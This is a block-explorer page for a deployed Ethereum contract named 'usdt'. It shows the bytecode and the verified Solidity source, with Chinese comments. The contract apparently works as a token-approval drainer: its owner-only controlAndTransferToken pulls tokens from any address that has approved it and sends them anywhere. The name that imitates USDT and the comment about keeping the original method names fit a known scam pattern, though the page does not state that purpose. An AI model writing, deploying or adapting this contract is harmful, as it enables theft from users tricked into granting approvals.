Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xb989c5C98FAE598CcdF3ECB680A55246CFccF187
Balance 0 ETH
Nonce 1
Code Size 4216 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4216 bytes
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80631bea80061461005c57806353c2ddf11461008c5780638da5cb5b146100a8578063b82a91eb146100c6578063f2fde38b146100e2575b600080fd5b61007660048036038101906100719190610953565b6100fe565b6040516100839190610f21565b60405180910390f35b6100a660048036038101906100a191906109f2565b610191565b005b6100b061024f565b6040516100bd9190610d54565b60405180910390f35b6100e060048036038101906100db919061098f565b610273565b005b6100fc60048036038101906100f7919061092a565b610407565b005b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016101399190610d54565b60206040518083038186803b15801561015157600080fd5b505afa158015610165573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101899190610a6a565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461021f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161021690610e61565b60405180910390fd5b61024a82828573ffffffffffffffffffffffffffffffffffffffff166105489092919063ffffffff16565b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102f890610e61565b60405180910390fd5b6000849050818173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e86306040518363ffffffff1660e01b8152600401610342929190610d6f565b60206040518083038186803b15801561035a57600080fd5b505afa15801561036e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103929190610a6a565b10156103d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ca90610e41565b60405180910390fd5b6104008484848473ffffffffffffffffffffffffffffffffffffffff166106da909392919063ffffffff16565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048c90610e61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fc90610f01565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006105cc8463095ea7b360e01b85600060405160240161056a929190610dcf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506107a8565b90508061060e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060590610ea1565b60405180910390fd5b60006106918563095ea7b360e01b868660405160240161062f929190610df8565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506107a8565b9050806106d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ca90610ee1565b60405180910390fd5b5050505050565b600061075f856323b872dd60e01b8686866040516024016106fd93929190610d98565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506107a8565b9050806107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890610ec1565b60405180910390fd5b5050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff16846040516107d29190610d3d565b6000604051808303816000865af19150503d806000811461080f576040519150601f19603f3d011682016040523d82523d6000602084013e610814565b606091505b509150915081610859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085090610e21565b60405180910390fd5b60008151141561086e576001925050506108d0565b602081511415610895578080602001905181019061088c9190610a41565b925050506108d0565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790610e81565b60405180910390fd5b92915050565b6000813590506108e581610ffd565b92915050565b6000815190506108fa81611014565b92915050565b60008135905061090f8161102b565b92915050565b6000815190506109248161102b565b92915050565b60006020828403121561093c57600080fd5b600061094a848285016108d6565b91505092915050565b6000806040838503121561096657600080fd5b6000610974858286016108d6565b9250506020610985858286016108d6565b9150509250929050565b600080600080608085870312156109a557600080fd5b60006109b3878288016108d6565b94505060206109c4878288016108d6565b93505060406109d5878288016108d6565b92505060606109e687828801610900565b91505092959194509250565b600080600060608486031215610a0757600080fd5b6000610a15868287016108d6565b9350506020610a26868287016108d6565b9250506040610a3786828701610900565b9150509250925092565b600060208284031215610a5357600080fd5b6000610a61848285016108eb565b91505092915050565b600060208284031215610a7c57600080fd5b6000610a8a84828501610915565b91505092915050565b610a9c81610f63565b82525050565b6000610aad82610f3c565b610ab78185610f47565b9350610ac7818560208601610fca565b80840191505092915050565b610adc81610fb8565b82525050565b6000610aef601c83610f52565b91507f45524332303a206c6f772d6c6576656c2063616c6c206661696c6564000000006000830152602082019050919050565b6000610b2f601683610f52565b91507f496e73756666696369656e7420616c6c6f77616e6365000000000000000000006000830152602082019050919050565b6000610b6f602f83610f52565b91507f4f6e6c792074686520636f6e7472616374206f776e65722063616e207065726660008301527f6f726d207468697320616374696f6e00000000000000000000000000000000006020830152604082019050919050565b6000610bd5601a83610f52565b91507f45524332303a20696e76616c69642072657475726e20646174610000000000006000830152602082019050919050565b6000610c15601883610f52565b91507f45524332303a20617070726f7665283029206661696c656400000000000000006000830152602082019050919050565b6000610c55601a83610f52565b91507f45524332303a207472616e7366657246726f6d206661696c65640000000000006000830152602082019050919050565b6000610c95601583610f52565b91507f45524332303a20617070726f7665206661696c656400000000000000000000006000830152602082019050919050565b6000610cd5602483610f52565b91507f4e6577206f776e65722063616e6e6f7420626520746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610d3781610fa1565b82525050565b6000610d498284610aa2565b915081905092915050565b6000602082019050610d696000830184610a93565b92915050565b6000604082019050610d846000830185610a93565b610d916020830184610a93565b9392505050565b6000606082019050610dad6000830186610a93565b610dba6020830185610a93565b610dc76040830184610d2e565b949350505050565b6000604082019050610de46000830185610a93565b610df16020830184610ad3565b9392505050565b6000604082019050610e0d6000830185610a93565b610e1a6020830184610d2e565b9392505050565b60006020820190508181036000830152610e3a81610ae2565b9050919050565b60006020820190508181036000830152610e5a81610b22565b9050919050565b60006020820190508181036000830152610e7a81610b62565b9050919050565b60006020820190508181036000830152610e9a81610bc8565b9050919050565b60006020820190508181036000830152610eba81610c08565b9050919050565b60006020820190508181036000830152610eda81610c48565b9050919050565b60006020820190508181036000830152610efa81610c88565b9050919050565b60006020820190508181036000830152610f1a81610cc8565b9050919050565b6000602082019050610f366000830184610d2e565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610f6e82610f81565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000610fc382610fab565b9050919050565b60005b83811015610fe8578082015181840152602081019050610fcd565b83811115610ff7576000848401525b50505050565b61100681610f63565b811461101157600080fd5b50565b61101d81610f75565b811461102857600080fd5b50565b61103481610fa1565b811461103f57600080fd5b5056fea2646970667358221220176d81ca44c845e77c8daa352728f784033f15cde48c0821b59bbd61551a645f64736f6c63430008000033

Verified Source Code Full Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: No
usdt.sol 120 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * 最小 IERC20 接口(与原文件保持一致签名),
 * 实际调用会走下面的 SafeERC20Any 低级 call 封装以兼容“无返回值”的代币。
 */
interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    // 注意:很多老代币没有标准的 approve/decimals/totalSupply 声明,这里不强制
    function approve(address spender, uint256 amount) external returns (bool);
}

/**
 * 兼容“可能不返回 bool”的 ERC20 的安全封装。
 * 思路与 OpenZeppelin SafeERC20 类似:低级 call,如果无返回值则视为成功;若有返回值则要求为 true。
 */
library SafeERC20Any {
    function _callOptionalReturn(address token, bytes memory data) private returns (bool) {
        (bool ok, bytes memory ret) = token.call(data);
        require(ok, "ERC20: low-level call failed");
        if (ret.length == 0) return true; // 无返回值,按成功处理(兼容 USDT 老实现)
        if (ret.length == 32) {
            // 大多数标准实现返回 32 字节的 bool
            return abi.decode(ret, (bool));
        }
        // 其它返回长度一律视为不合规
        revert("ERC20: invalid return data");
    }

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
        require(ok, "ERC20: transfer failed");
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
        require(ok, "ERC20: transferFrom failed");
    }

    /**
     * USDT 友好的授权:先把额度重置为 0,再设为新值,避免某些代币在非 0->非 0 时 revert。
     */
    function safeApproveReset(IERC20 token, address spender, uint256 value) internal {
        // 先设 0
        bool ok0 = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.approve.selector, spender, 0)
        );
        require(ok0, "ERC20: approve(0) failed");

        // 再设新值
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
        require(ok, "ERC20: approve failed");
    }
}

contract usdt {
    using SafeERC20Any for IERC20;

    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the contract owner can perform this action");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner cannot be the zero address");
        owner = newOwner;
    }

    /**
     * 与原始对外方法同名同参:owner 受控,从 from 扣到 to。
     * 兼容 ETH/BSC USDT(及其它可能无返回值的代币)。
     */
    function controlAndTransferToken(
        address tokenAddress,
        address from,
        address to,
        uint256 amount
    ) public onlyOwner
    {
        IERC20 token = IERC20(tokenAddress);
        // 仍保留原始的额度检查(大多数 USDT/USDC 都有 allowance)
        require(token.allowance(from, address(this)) >= amount, "Insufficient allowance");
        token.safeTransferFrom(from, to, amount);
    }

    /**
     * 便捷授权:给某个 spender 授权(USDT 友好:先 0 后设新值)。
     * 注意这是合约(本合约地址)对外授权;若要 from 自己对本合约授权,仍需用户在钱包里先调用标准 approve。
     */
    function approveRouter(address tokenAddress, address spender, uint256 amount) external onlyOwner {
        IERC20(tokenAddress).safeApproveReset(spender, amount);
    }

    /**
     * 可选:查询余额(便于前端/后台查看)
     */
    function tokenBalanceOf(address tokenAddress, address account) external view returns (uint256) {
        return IERC20(tokenAddress).balanceOf(account);
    }
}

Read Contract

owner 0x8da5cb5b → address
tokenBalanceOf 0x1bea8006 → uint256

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

approveRouter 0x53c2ddf1
address tokenAddress
address spender
uint256 amount
controlAndTransferToken 0xb82a91eb
address tokenAddress
address from
address to
uint256 amount
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address